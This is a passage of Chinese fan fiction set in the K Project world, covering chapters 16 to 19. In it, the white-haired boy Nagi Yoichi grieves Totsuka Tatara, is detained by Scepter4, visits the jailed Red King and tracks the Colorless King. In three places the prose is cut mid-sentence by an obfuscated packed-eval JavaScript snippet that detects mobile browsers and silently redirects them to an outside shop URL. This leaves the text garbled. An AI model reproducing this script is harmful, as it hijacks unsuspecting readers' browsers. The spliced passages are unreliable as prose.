十束就倒在不远处,身下聚着一滩暗红的血泊。他的终端上沾着血,丢在不远处,里头传来草薙急切的询问声。 “十束?!喂,十束!还醒着吗?!” 背后的烟花还在不厌其烦地吵闹。头顶是飞艇行进的巨大轰鸣声。借着天空上爆开的彩光,凪夜一看见十束被血浸透的衣服——伤口在腹部,这个出血量应该已经救不回来了。 但如果还有意识的话,说不定他能…… “他死了。”雾气说。 凪夜一眨了一下僵涩的眼睛。 他从露台边缘走下来,双膝着地,跪坐到了十束身边,伸手摸了摸十束的脉搏,又探了探鼻息。 他把能检查生命体征的行为都做了一遍,最后一个是弯腰,耳朵贴上十束的胸膛,试图听一下残留的心跳。 但是没有,空空如也。一如凪夜一停顿的呼吸。 气流挤压在肺部,少年弯腰那一刻,胸口迸发出一阵尖锐的疼痛。凪夜一痛苦地捂着口鼻呛咳一阵,草薙从终端里听见他的声音,脸色大变:“凪?!你在十束身边吗?!他现在怎么样?是谁对他下的手——不对,你现在赶紧从危险的地方离开,我马上带人过来!” 一阵短短的沉默过后,终端里传来少年沙哑的声线:“……死了。” 这句之后,凪夜一没再开口。 他静静地坐在十束身边,抬起一双缠绕着黑气的眼睛,透过围栏观赏这场十束原本计划带他来看的烟花会。 规模真的很大,天幕都像是要被炸开一个洞。诡异而热烈,足够壮丽,也足够张扬,为了庆祝一枚棋子的倒塌,与一盘阴谋游戏的开场。 一直追随身边的虚影随着烟花的光亮彻底凝实,有关它的记忆阀门被轰轰烈烈撬开。凪夜一安静地接收这些记忆,从开始回想到现在,最后的最后,他俯身给了十束一个轻轻的拥抱。 “晚安,多多良。” 【白日馆·馆主日记·十二】: 【多多良死了,在一瞬间。死亡就是这样的,死掉的人不会呼吸,不会动,流出的血像是铁水。守在身边的人也一样,死亡剥夺了双方好好生活下去的权力。 我没有很伤心,没有很难过。只是忽然明白过来,自己应该做什么,以后应该怎样走下去。】 16.王剑高悬16 凪夜一睁开眼睛,发现自己躺在一张柔软的床上。 头顶上是白色光幕织成的天花板,细节上足以以假乱真,但凪夜一知道,它们并不是真正的建筑顶,而是愿力凝聚成的、可任意变换形态的实体。 房间不小,整体是令人安心的暖色调,挤挤挨挨摆了不少家具。 为了促进主人的睡眠,床头甚至还贴心地摆了一只微型八音盒,叮叮当当地循环着某段耳熟能详的旋律——可惜凪夜一脑袋里一片混乱,听见这个声音只觉得头疼。 “谢尔提,把这东西关掉。” “好、好的!” 房间里窜出来一位穿着执事服的青年。青年长了一头银紫色的短发,同色系的眼瞳被藏在银边的链条眼镜后。 虽然窜出来的动作很麻利,长相和声音却很弱气,它飞快地把床头的八音盒关掉,忐忑地询问:“您不喜欢这只八音盒吗?” 凪夜一从床上坐起来,没有说话。他盯着手背,忽略掉一旁青年紧张的视线,开始缓慢地在脑海里整理讯息。 记忆恢复了很多,因此刚刚一睁开眼睛,他就明白过来自己现在身处哪里——那栋一直跟随在他身边的诡异建筑,【白日馆】的内部。 白日馆,漂流于世外之馆。 最初似乎诞生于某位世界之善的遗愿,世界被毁灭后脱离位面,成了漂浮在宇宙洪流中的一艘小船。 它是一座常世概念中的心愿馆。 依靠愿力存活运转,能自由穿梭于各个世界与时代之中,不受法则的限制,不存在于某一个固定的空间内,也没有固定的外形。 凪夜一是这座世外之馆的现任馆主,而距离他上一次跟白日馆的馆舍灵谢尔提交流,已经是好几个世界旅程之前的事了。 他在海水中泡坏了身体和记忆,而白日馆从那以后也陷入了沉睡,前不久才缓慢苏醒过来。 现在看来,白日馆和谢尔提都没什么变化,之前的沉睡并没有对它造成太大的影响。狱门疆也好好地挂在胸前,没有遗失。一切都没有问题,那心里现在弥漫着的这股不安情绪到底是…… 凪夜一皱着眉头抬起手,视线落在左手腕上的瞬间,一股寒气顺着身体来回走了个遍。 吠舞罗印记,黄水晶手串。烟花,血迹,十束多多良—— “谢尔提!”他猛地抬起头,“现在白日馆漂到哪了?!” 没有他意志操控的情况下,白日馆就像一片毫无重量的羽毛,会自发在空间与时间之中漂流。 凪夜一不清楚自己睡了多久。但万一在这段时间里,白日馆带着他离开了十束所在的世界…… 冷不丁被点名,紫发青年慌慌张张地转过身解释:“现在、现在在、呃,仙台市?当时您倒在那个人身边,情况看起来很不好,我就想着把您带回来……” 凪夜一语速飞快地问道:“按照外面的时间流速我睡了几天?你什么时候把我带回来的?回收我的时候有没有被人看见?有没有在原地留坐标?现在过去要多久?” 谢尔提被塞了一耳朵问题,涨红了脸,磕磕巴巴地回答道:“呃、您睡了、睡了五天……不对,六天?没有被人看见,当时天台上只有您一个人……应、应该是……” 很快,它露出大脑过载的蚊香眼,身体闪过故障似的白光,崩散成一团浓郁的雾气。 在白日馆内部,雾气犹如一台被续上电的机械,躯体和声音都清晰了不少。 “你问它能问出什么啊夜一仔。”谢尔提弱弱的声线被雾气一用,画风一下变得没脸没皮起来,“你指望它能记住什么事,还不如指望明天就能把狱门疆打开呢。” 它和谢尔提是一体两面的存在,共用一个身体,是馆舍善与恶的象征——谢尔提为【规则】,负责与愿望打交道;雾气为【刀刃】,负责清理掉一切不干不净的东西。 “嘛,别那么着急。”它懒洋洋地说道,“想回去的话,现在就走吧。” 十分钟后,凪夜一在一处无人的小巷落地。 白日馆庞大的虚影在他身后雾化,凝聚成几缕白色光带缩回凪夜一身体里。落地的一瞬间,少年头也不回地朝着镇目町的方向狂奔而去。 今天也是雪天,原本宁静的天气多出了刺耳的警笛声——不止一处。 这一片地方最近似乎很不安定,凪夜一已经路过了好几拨匆忙的巡警,侧方迎面走过几个穿着蓝色制服、腰间佩刀的人。 他们隔着一条街道擦肩而过,在某一刻,凪夜一忽然福至心灵般抬头,与其中一位戴着眼镜的成员对视了一眼—— 伏见原本走得顺畅无比的步伐忽然停下了。 他又看了对面街上的凪夜一一眼,立刻从终端调出影像开始比对。 “来活了啊……”他喃喃道。 秋山也跟着停下脚步,奇怪地凑过去:“伏见先生,你在看什么……啊!是那个!” 他的大叫声吸引了其余几个同伴的注意,众人转头往街对面看,纷纷露出震惊的表情。 “是他吧?” “就是他!” “居然这么正常地在街上走……” “……麻烦。”伏见很没干劲地下令,“人要走了,快追!” 能入选机动科特务队的,都是氏族中选拔过的精英。伏见的命令过后,秋山第一个追了出去,剩下的人动作也很快,眨眼间越过街道,拦在凪夜一面前。 一群佩刀的人横越道路,周围的行人面露惊恐的神色。 伏见猿比古不耐烦地啧了一声,从手提箱里取出一只扩音喇叭,面无表情地通告:“公务执行,请无关人员自行回避。重复一遍,公务执行,请无关人员自行回避……” 这么几句话的时间,秋山已经快要追到凪夜一身后了。 他撑着腰间的佩刀维持平衡,在奔跑的间隙朝前方喊话:“前方的那位吠舞罗成员,现在立刻停下脚步,跟我们走一趟!” 谁知,前头的人充耳不闻,并没有停下的意思。 “果然是吠舞罗的德行……”弁财念了一句,快步上前,伸手往前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984270|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一挡,“你……” 白发少年回过头,露出一双颜色很冷的眼睛。人影倒映在其中,就像被封入厚厚的冰层,弁财被他盯了一眼,莫名感觉到背后发凉。 下一秒,浓郁的雾气铺天盖地地爆散开来。 权外者! 视野一瞬间被封住,弁财戒备地握住刀柄:“可恶,人跑哪去了?” “伏见先生!” 路对面的伏见猿比古也被蒙在雾气里,不耐烦地抓了一把头发。 他在终端上随便敲了两下,拨通了部下的电话:“把监测仪打开。吠舞罗失踪的那小子找到了,在青木町附近……权外者,找到了坐标发我。” 雾气从凪夜一的身体周围飞速蔓延。白日馆的实体有多大,雾气的覆盖范围就有多广。 但,这仅仅只是一片阻拦视野的雾气,不具备任何攻击性质。 雾气外显的时间有限,他打算使用这点小小的障眼法脱身,有意控制了覆盖范围。五分钟后,他踏出浓雾圈,伏见猿比古紧随其后,伸出一只手抓向凪夜一的肩膀,因为骤然增加的工作量,脸色阴沉了不止一个度:“啧……叫你别动就好好待着啊臭小鬼!” 他抓了个空,凪夜一的身影又消失了。 伏见的脸黑得可怕。这场被迫参加的追逃游戏持续了整整四个小时,最开始是浓雾,雾散以后阵地转移至人流量极大的闹市区,参与追捕的人员越调越多,最后堵到人的地方是一家礼花店外。 有孩子拿着礼花在试放区放着玩,听见放礼花的声音,凪夜一忽然不动了。 背后扑上来两双手,重重地按住他的肩膀:“抓、哈……抓到了!” 少年低头,看着地上的礼花碎片。 他想的是:又给草薙先生添麻烦了。 凪夜一被带回了Scepter4的总部,青之王宗像礼司的办公室里。 这位外表沉稳冷静的成年男性拼上了桌子上摆的最后一位拼图,慰问了脸黑得像锅底的下属之后,颇有兴致地将视线转移到拘束椅上坐着的凪夜一身上。 “哦呀,伏见君。有必要使用这样的椅子吗?” “啧……” 伏见推了下眼镜,深吸一口气,拿出自己今日份仅剩的一点耐心应付这个麻烦上司:“不使用这样的椅子,不出三秒,他就会跑到您的视线范围之外。再想把他抓回来,需要耗费之前三倍的人力。” “原来如此。”宗像礼司说,“果然,吠舞罗的成员在给人添麻烦这件事上,就算是十几岁的孩子也当仁不让呢。” 他说话的时候不紧不慢,每一句的敬语使用都十分严谨,即使内容并不怎么好听。 凪夜一并不看他,眼神盯着花纹繁复的地毯。即使坐在这样的椅子上,他也没有什么不适的表情,冰绿的眼瞳中压着一片沉沉的黑云。 他复述了一遍:“‘也’?” “哦呀。你不知道吗?”宗像礼司故作惊讶道,“因为干部十束多多良的死,和你的失踪,吠舞罗内部已经闹翻天了。” 17.王剑高悬17 吠舞罗酒吧的门被人推开了。 镰本力夫的身影出现在门口,八田的目光立刻追了过去,“回来了!怎么样?” 镰本举起一张与凪夜一发色相似的小孩照片,摇了摇头。 “没有消息啊。虽然来反馈的人很多,但内容基本上都没有用。” “该死的!” 八田重重地捶了一下桌子,咬牙切齿:“凪那家伙到底被抓到哪里去了?一点踪迹都找不到……最好别让我知道是谁干的!” 镰本力夫从门口走进来,墨镜后面的双眼满是欲言又止。 他看了看八田怒火中烧的表情,犹豫了一下,还是开口了:“八田桑……” 八田:“啊?有话快说。” “不管是什么样的结果,都好好接受吧。” 砰—— 酒吧内回荡着桌椅磕碰的巨响。一阵混乱过后,八田已经提着镰本力夫的领子,把人掼倒在沙发背上,眼里闪过一丝凶光:“死胖子,你什么意思?!” 镰本力夫努力向后撑手保持平衡,眼镜已经挂到了额头上,又慌慌忙忙地伸手按好:“我也不是说一定就是最坏的结果……但夜一和十束哥一样是非战斗人员吧?他力气很小的,又不会打架,那把枪的弹夹都打空了……而且他身上的定位系统在那天晚上就已经失灵,现在已经过去五天了!” “你懂什么!”八田怒道,“那家伙是权外者,从八十几楼掉下来都没死,一把枪能把他怎么样啊!” 衣领勒着脖子,镰本不太舒服地挣动了一下:“夜一的能力不是那一种类型吧……掉下来那次不是因为有王在吗?” 提到周防尊,八田的力气忽然松了松。他眼眶好像短暂地红了一下:“可恶……先是十束哥,然后是凪,现在连尊哥也……” “同伴一个接一个地出事,这到底算什么啊!” 草薙就坐在吧台后面,盯着电脑屏幕敲敲打打。 他没管八田和镰本的冲突,最近吠舞罗气氛太紧绷了,情绪还是要发泄出来比较好。只要没到打坏店里东西的地步,他都可以睁一只眼闭一只眼。 手指没敲几下,摆在一旁的终端忽然响了。 草薙瞥了一眼来电显示,伸过去接通的手顿了一下,很快划开了通话界面:“喂,世理酱。我家的王又干什么了吗……不是?” 一分钟后,他挂断电话,从吧台后面站起来,顺便提起放在一边的外套。 “你们两个,别打了!”他朝沙发边上的两个人喊话,“我去接人。要是回来以后发现店里有什么东西坏了,你俩就完了。” 对草薙的惊恐让八田的动作一僵,很快他意识到了什么,猛地松开镰本,双眼一亮。 “接人?凪找到了吗!” 草薙路过,顺便伸手抓了一把他的头发。 “找到了,现在在青衣服那边。”青年的唇角上翘,“嘛,算是最近为数不多的好事情了。” * 明亮宽敞的办公室里,伏见正在用毫无起伏的语调汇报。 “……暴力冲突事件69起,威胁诱拐时间41起,毁坏公共场地17处……”他一字不差地把这些数据背出来,“鉴于吠舞罗最近的异常行动,我们的工作量激增。为了不让你这个非战斗人员在街头出事,使我们原本就很沉重的工作量再次加重,将你带回总部暂时管束无疑是正确的决定。” “正如伏见君所说。”宗像礼司双手撑着下巴,脸上带着弧度恰到好处的微笑,既不失亲和,又让人觉得遥不可攀。“在你们的人过来把你接回去之前,你需要一直待在这里了。” “随便。”凪夜一说。 他不是很有和他人交流的兴趣,说完这句就闭上眼睛,不再开口。 伏见有工作要处理,很快离开了。 办公室里只剩下他们两个人,相安无事的沉默持续了没一会,办公室的门又被敲响了。 宗像礼司说:“请进。” 办公室的门被打开,金发副官的身影出现在门口。 “已经通知过吠舞罗的成员了。”她的目光落到办公室中间,看见被裹得密不透风的凪夜一时微微一怔,“室长,这个椅子是……” “伏见君说,是为了防止目标逃跑的椅子。” 他慢条斯理地把手放下来,“不过,他似乎没有逃走的意向了。淡岛君,帮他解开吧。” “是。” 金发副官的动作很快,缠在凪夜一身上的绑带先后解开。不论是被绑还是不被绑,他都没有很明显的情绪波动,这让宗像礼司对他升起了一丝兴趣。 “凪君,对吧?”他不紧不慢地开口,“你很冷静,乍一看甚至不太像是吠舞罗的成员。” “虽然只加入了三个月不到,但也算得上是组织的核心成员之一。能回去转告你你们的二把手吗?如果要行动,请采用更加隐秘、效率更高的方式。最近光是安抚市民的情绪,就费了我们不少心思。” “我无权干扰其余氏族的活动,但再这样下去,不仅是王,其余成员我们也要考虑一并拘……哦呀?” 淡岛解束缚带的进度已经到了最后一点,浓雾爆开的瞬间,她反应神速地后退,戒备地握住佩刀,刀柄上闪过一点蓝光。 凪夜一的左手被扣在椅子扶手上,身边涌动着形状狰狞的雾气。少年坐在雾气微微侧头,表情冷得让人发怵。 “劝你不要把刀拔出来。”他道,“要是刀碰到我,后果我不保证。” 他没有在这多待的意图,直截了当地问道:“王在哪?” 宗像礼司唇角的弧度半点没变。笑容对于他来说,像是一张已经习以为常的面具。 “你们的王于日前被我逮捕,现在正在Scepter4的监狱里。”他道,“看起来你很想见他?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993087|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “也不是不可以。” 淡岛世理错愕道:“室长……” “意料之外的少年,也许是意料之外的说客。如果能让周防发热的脑子冷却一下,就再好不过了。”青王说着,按下桌上传声器的按键。“伏见君,过来一趟。” “淡岛君,帮他解……” 凪夜一甩了甩手腕,从椅子上站起来。宗像礼司微微睁大眼睛,才发现束缚椅上的绑带,不知道什么时候已经全部断开了。 * 伏见猿比古带人进入下行的电梯。 他的表情阴沉烦躁,让一路上想过来打招呼的同僚退避三舍。 不仅因为还没摸热的电脑上成吨的工作、要求一大堆喜欢支使人的麻烦上司,还有背后这个让人不爽的小鬼。 这小鬼往哪走,哪里的空气就是冷的。 处在同一个密闭空间,这样的感觉越发强烈,两道视线跟冰锥似的,如果有实体,一定能把他背上戳两个洞。 “啧……” 伏见咋舌,烦躁地摸了摸自己的后颈。电梯很快就到,他认命地为凪夜一带路,两人停在一堵密不透风的铁墙前方,伏见伸手在某个地方按了一下,铁墙上浮起光屏,显示掌纹扫描通过。 巨响过后,铁墙解体,伏见守在一边装石雕。凪夜一往前一步,看清了狭窄小床上背对门口躺着的身影。 监狱里很暗,白天唯一的光源只有墙上方的通风口。 周防尊的红发垂落在坚硬的枕头上,颜色有些黯淡——随后,它随着主人转头的动作动了动。 周防尊被声音吵醒了,皱着眉头坐起来。他的眼睛还是闭着的,后背靠着墙,语气依旧懒散,低沉的声线听起来却并不友好:“什么事?” 好一会没人回答,他有点不耐地睁开眼睛,金瞳里浮起凶光,却在看见人的那一刻戛然而止。 凪夜一站在门口,视线落到周防尊手上,双拳紧握。 赤王的手腕上,架着坚固的镣铐。铁板隔开了双手的位置以限制行动,地面垂着成年男性小臂粗的铁链。 先不论这些东西到底能不能把他困住,现在的周防尊就外表来看,完完全全符合“阶下囚”这个词。 凪夜一张了张口,一时间不知道该说什么。 他的表情有点失落,整个人安静极了,和刚才的样子判若两人。伏见瞥了一眼,在心里啧了一声:对外人没好脸色,标准的吠舞罗臭小鬼。 反倒是周防尊抬头看了一眼,鼻腔里哼出一声笑:“你没事啊。” “没事。”凪夜一说,“您为什么在这?” “换个地方睡觉罢了。”周防尊懒洋洋道,“没事的话就快回去,草薙他们一直在找你。” 凪夜一没动。他轻轻垂着头,好一会过去,才问出一个问题: “多多良呢?” 周防尊说:“在海里。” 18.王剑高悬18 周防尊说:“在海里。” 凪夜一的脸色一瞬间白了。 海,对他来说不算个好词语。 多次溺死在海中的经历,让他至今对海仍然保留着深入骨髓、难以抑制的恐惧。 漆黑一片的视野、缺失的氧气、充血的眼球。 足以将他身体骨骼挤碎的水压、身边游过的外型诡异的鱼群、永远漂在一步之遥外的狱门疆。 有没有被鱼群啃食过身体,他已经记不太清了。回忆里除了恐惧就是绝望,如同海水漫过头顶,让他无法呼吸。 “我亲手烧的,在岸边。”周防尊说,“涨潮以后,跟着海水一起走了。” “那家伙喜欢自由一点的方式,这样应该还不错。” 凪夜一慢慢回神。 他自言自语道:“……这样啊。” 对他来说虽然是很糟糕的死法,但十束喜欢的话,这样最好吧。 囚室里一阵铁链撞击的叮当声,周防尊不知道什么时候站起来,拖着两条铁链走到他面前,低头看着他。 “那家伙……十束留下过几句话,给你的。” 红发男人低头盯着凪夜一雪白的头发,天台上青年微笑着的模糊脸孔浮现在脑海中。 “希望你能睁开眼睛好好往前走,什么的。”他说,“那家伙总能察觉到不少东西,我察觉不到的。” “以后他没法和你谈心了。不知道怎么办的时候,就去找草薙吧。” 凪夜一敏锐地察觉到了什么,抬头问道:“不可以找您吗?” 周防尊笑了一下。他抬起绑着镣板的手,用指尖摸了摸凪夜一的头。 草薙来Scepter4接人的时候,是下午五点。吠舞罗的二把手走路带风,几步从门口进来,从伏见手里把人接过来以后,才轻轻呼出一口气。 “没事就好,你……” 他抓着凪夜一的手腕,忽然感觉被什么东西硌了一下。牵起来一看,凪夜一手上戴着的,是他之前送给十束的手串。 再仔细看一看,少年还穿着那天晚上出门时穿的衣服。风衣下摆凝固着一片暗沉的血迹,是十束的血。 草薙从镜片后凝视他的脸,随后把他抱进怀里,轻轻地拍打他的后背。 “没事了。我们回去吧。” * 推开酒吧门的一瞬间,凪夜一被人包围了。 面熟的成员基本都在这里,一群人挤来挤去,气氛一度让凪夜一找到了刚进吠舞罗时那场欢迎会的感觉。 “凪!你小子!!”八田死死地拽着他不撒手,“你没事啊!!我还以为你和十束哥……我还以为你回不来了啊!!” 镰本手忙脚乱地在一边递手帕:“冷静一点八田桑……没事不是很好吗!” 艾利克一双冰蓝的眼睛死死盯着他:“那天晚上天台上到底发生什么了?是那个自称无色之王的家伙对你动的手吗?你……唔唔——” “看起来没有受伤,这是好事,回来了就好。”藤岛眼疾手快地捂住艾利克的嘴,“总之先好好休息,有什么事情都等休息好了再说。上楼好好睡一觉,好吗?” 他们或温和、或担忧、或急切的脸凑在一起,像是一堵环形的、坚不可摧的高墙。 只要凪夜一待在这堵高墙内,就不会再有经受风吹雨打的一天。 他第一次有了想在这里活到寿终正寝的念头,一片混乱之中不知道抓到了谁的手,用力攥紧——有那么几秒,他感觉自己在发抖。而后才发现,发抖的不是他,而是他慌忙之间匆匆抓住的、草薙出云的手。 凪夜一抬起头,映入眼帘的是青年和平常相差无几的笑容,淡淡的,有些漫不经心。 一位友人突然离世,另一位也快要走了。草薙出云预见了这一点,每一天睁开眼,应该都是数着时间过的。 但他仍然在笑。情绪像是一片湿淋淋的雾气,被他滴水不漏地封装在心底。 凪夜一转过身,连带着另一只手一起,双手紧紧握住了草薙出云的手掌。 我会改变这个结局的。他在心里轻轻地、坚定地承诺,我保证。 回到房间后,凪夜一几步迈向书桌前。 桌上凌乱地摆着两本书,下面压的是那张名单,还有那封没写完的遗书。 少年盯着纸张的边角看了一会,伸手将它们抽出来,叠成厚厚的一叠,提到垃圾桶的上方。随后,他轻轻地打了个响指,指尖窜起一束赤红的火苗。 这是他第一次使用来自周防尊的力量,看起来却驾轻就熟。 指尖燃烧的火苗随风摇动,很快点燃了信纸的边缘,凪夜一捏着它,像是捏着一只逝去的火蝴蝶。 那天以后,凪夜一的生活变得忙碌起来。 他参与了吠舞罗追查无色的行动。草薙他们已经在紧锣密鼓地排查枪支来源,影像悬赏也已经在里世界发布,有安娜的感应能力,加上氏族成员的地毯式搜索,找到人是板上钉钉的事情。凪夜一负责一些辅助性质的工作,他并不担心找人的事,而是将目光移向了另一个方向。 ——那场不合时节的烟花会。 冬天里难得的晴天,少年坐在面包车顶的边缘,漆黑的风衣下摆从车顶垂落下来,像一片死寂的幕布。 他目光专注地盯着微型电脑的屏幕,为了避免遮挡视线,略长的头发被他抓到脑后绑成半个小揪,领口的地方凌乱地遗落几缕,风格利落得让人陌生。 八田出完任务回来,把滑板往面包车边上一靠,几步登上梯子,撑着车顶张望:“你干什么呢……恶,JUNGLE的网站?” 凪夜一将视线转向他,色泽奇异的眼睛完全暴露在光线下,漂亮得有些摄人心魄。八田被他一盯,不知道为什么有点紧张,摆了摆手:“这么看着我干嘛啦!” 少年其实只是有点意外。他一直以为八田是脑子一热只会打架类型的,没想到他对赤青两族以外的第三个氏族也有了解。 “你知道【绿】吗?”凪夜一问道。 “可别小看我啊,中学时候我还玩过这个网站一段时间呢。”他挠了挠脸,“规则也就那样,做任务拿点数,点数越高,从王那获得的力量也就越多。不过【绿】的那群家伙我是不清楚啦,目前为止一个都没见过。” 凪夜一点了点头。 八田看了他一眼,很快皱起了眉头。 “你查他们的事干什么?他们和十束哥的死有关联吗?那天晚上的事,你想起来什么了吗?” 凪夜一面色如常地关掉页面:“没有。” “没有也没事。”似乎回忆起了什么不太好的事,八田黑着脸抱怨,“劝你最好不要和那群家伙扯上关系。成天缩在网络后面发一些不知所谓的任务,说是氏族成员,实际上连王的面都见不到……总之是一群讨人厌的家伙,被他们盯上了会很麻烦的。” “噢……又有任务了。我先走了,晚点一起去吃拉面!” 凪夜一点了点头,目送八田踩着滑板离去。 随后,他又将网站页面切出来,继续做刚才没做完的事。 微型电脑的右上角滚动着一长排账号密码,凪夜一瞥了一眼,输入账密挨个登录,点进点数结算界面找到那条过期的任务—— [任务内容:于镇目町2号街,坐标(xx,xx)点位燃放百发巨型烟花,燃放物于12月7日前由组织投递完成 任务开始时间:12月7日 23:30 任务点数:100点 可参与人数:(1000/1000)(已满员)] 少年的指尖挪动,在某个键上轻轻点了一下。屏幕侧边投射出地图的投影,随着不同坐标的接连输入,地图上出现一个又一个接连不断的红点。 依靠这些坐标,凪夜一已经大致填补出了区域的雏形。 他没有再继续下去,关掉了JUNGLE的页面,调出另外一张画满弧线的图。 那是天国号飞艇的行进路线图,凪夜一在登上天国号之前曾经为此做过准备。数据来源于某个限制成员数的秘密网站,测绘精度虽然比不上Scepter4的官方数据,略微修正过后也相差无几。 他将飞艇的行进路线图与标满红点的区域图叠加比对,只看了一眼,就得出了结论。 任务很成功。 特制烟花干扰了飞艇的行进路线,让它在恰到好处的时机经过比良坂大厦,接走了露台上的无色。 那场烟花会的最佳观赏点不止比良坂大厦一处地方。是有什么人告诉他了吧? [… 197L:12月7日晚的那场烟花会,论位置的话,最佳观景点果然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006951|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是比良坂大厦吧?稍微提前一点带女孩子过去,在零点的烟花里向她送上生日祝福,对方一定会很高兴。T先生要去试试吗?我那天晚上也会带朋友一起去看的(笑)] “呼……” 凪夜一双手撑在身后,抬头看了看白云飘荡的天空。 视野的尽头,天国号飞艇以恒定的速度漂浮在空中。少年的视线追着它走了一会,从口袋里掏出终端,给八田发了条信息。 [Nagi:下次再一起去吃拉面吧。临时有事,抱歉。] 他按熄了屏幕。 入夜时分,凪夜一的身影出现在了天国号飞艇的甲板上。 影像故障特有的白光从他脚下散去,白日馆回到体内。凪夜一双手插在风衣口袋里,皮靴踏上甲板,往前一段后,停在了花园口。 有过一面之缘的白银之王抱着一具女性尸体坐在花园中心的秋千上,银发流水一样垂在身侧,掌中托着一只酒杯,深色的酒液随着动作轻轻晃荡。 “哎呀。”他笑盈盈地抬起眼帘,“有只不认识的小老鼠上来了。” 凪夜一站在台阶的边缘,低头打量对方与几个月之前截然不同的陌生神态。 他身边隐约弥漫着些许白雾,像是无处安放的怒气,在夜色中翻涌出狰狞的形状。 “以防万一提醒你一句。你还记得馆主守则第一条是什么吗?” ——【馆主守则其一:[人类]是孕育愿望的母体。身为馆舍意志的代行人,馆舍主不被允许对[人类]施加任何实质性伤害行为。】 “……我知道,我记得。”少年轻声回答雾气的话,像是精神错乱的自言自语,“我不会做什么的,只是上来看一看。” “我没什么想知道的了。走吧,到时间了。” “看起来你好像病得不轻。” 无色将手里的酒杯往后一扔,笑容满面地站起来。他唇角的笑容诡异狰狞,两只银瞳中透出癫狂,身后的女尸在秋千上摇摇晃晃,很快躺倒下去。 “擅自上了别人的飞艇,胡言乱语两句就想走吗?” 凪夜一已经走到了飞艇的边缘,闻言转过头,被狂风绞乱的白发间隙中,露出一只瞳孔缩到极致、爬满血丝的眼睛。 “想杀你的人很多……太多了。但有人比我更适合动手……”他神经质般低声念道,“就算是你这种东西,也算是个王。杀了你,他的剑还是会掉。但就算会掉剑,我也应该留给他。” “我还会来找你的,下一次。下一次,记得把自己藏好一点。” 少年向后退了一步,从飞艇边缘仰倒下去。 他掉回了有吠舞罗成员们在的地面,踩着时间的轮盘,和众人一起待到了一切事件的结局。 周防尊死去的那一天,天幕上爬满了红色的极光。氏族成员们浑身裹着火焰一般的红芒,对王的离去献上泪水与高呼;凪夜一坐在长桥围栏上,像是一颗落在后面的、孤单的赤红星星。 一直到那片极光散去,凪夜一口袋里的终端震动了两声。 来电人显示草薙,少年低头划开屏幕,里头传来熟悉的关西腔:“你在哪?一直没看见人影。把位置发我,我来接你。” 夜风拂动少年颊边的白发,凪夜一将终端靠在耳边,牵起唇角,露出一个小小的、有些羞赧的笑容。 “再见,草薙先生。” “……凪?” “我会记得您的。下次见面的时候……” “已经准备好了,馆主大人。”谢尔提犹犹豫豫的声音在耳边响起,“不过真的要这样做吗?这个很费能量的。况且时间的法则很难糊弄,就算是短时间回溯,祂也会从您身上抽掉某样东西的……要不要再等等,等到馆舍修复完成的那一天……” 少年的话顿在舌尖,很快消散了。他将终端拿开,还是没能立下什么约定,按下了挂断键。 “不用了,我讨厌等待。”凪夜一说,铁色的狱门疆在他胸前凝滞,连带着那片天空一样的冰蓝色泽。少年动作轻柔地将它托起来,盯着那些眼睛看了几秒。 “总要往前走,对不对?” 话音落下,托着它的手掌化成光点消失了。六面体向下坠落,很快被馆舍的力量一钩,也跟着消失不见。 长桥上的最后一颗星星暗了下去,仿佛从没亮起过。 19.王剑高悬19 “打扰了。请问到这里怎么走?” 夜刀神狗朗捧着一张纸条,很有礼貌地出声。面前的人因为他的询问停下脚步,向他摊开手掌。 那是一只异常白皙的手,手腕包裹在漆黑的风衣袖口内,隐约能瞥见一截红色的纹身、一串款式简单的手串。 被他叫停的是位十四五岁的少年,胸前挂着一只古怪的吊坠。一头与肤色相差无几的白发,同色睫毛下嵌着一双色泽优越的冰绿眼瞳,然而眼神近乎一种无机质的冷漠,眼球转动时,找不到分毫属于活人的生气。 表情很淡,夜刀神狗朗直觉他有些心不在焉。 接过纸条以后,他垂眼潦草地看了看,抬手随便指了个方向。 怎么感觉不太可信…… 夜刀神狗朗犹豫了一秒,决定再找一个人问问。 “谢谢,我的纸……” 下一秒,少年的目光一转不转地盯向了某个方向——渐渐有光从他眼底浮起来,像是一把烧得人遍体生寒的冷火。 “啊,不用谢。”他将纸条塞回夜刀神狗朗手里,“再见。” 留下这么一句话以后,少年头也不回地走了。 夜刀神狗朗摇了摇头,将纸条收好,总之朝着对方指的方向走去,打算路上再问一问——然而不幸的是,这一片街区人流稀疏,明明是正午的时间,他除了刚刚那位少年,竟然一个人都没遇见过。 十分钟后,黑发少年站在一片四通八达的小巷里,与前方侧方的路口面面相觑。 